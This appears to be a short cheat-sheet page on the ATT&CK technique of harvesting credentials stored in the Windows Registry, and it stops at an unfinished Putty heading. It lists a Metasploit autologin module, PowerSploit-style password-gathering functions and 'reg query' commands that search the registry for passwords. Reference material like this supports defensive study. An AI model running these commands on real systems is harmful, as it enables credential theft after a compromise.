Credentials in Registry
https://attack.mitre.org/techniques/T1552/002/
Last updated
https://attack.mitre.org/techniques/T1552/002/
Last updated
ATT&CK ID:
Permissions Required: Various
Description
Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
post/windows/gather/credentials/windows_autologin
# Import privesc module
# Import-Module .\Privesc.psd1
Get-UnattendedInstallFile
Get-Webconfig
Get-ApplicationHost
Get-SiteListPassword
Get-CachedGPPPassword
Get-RegistryAutoLogon
# String matching in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
# Putty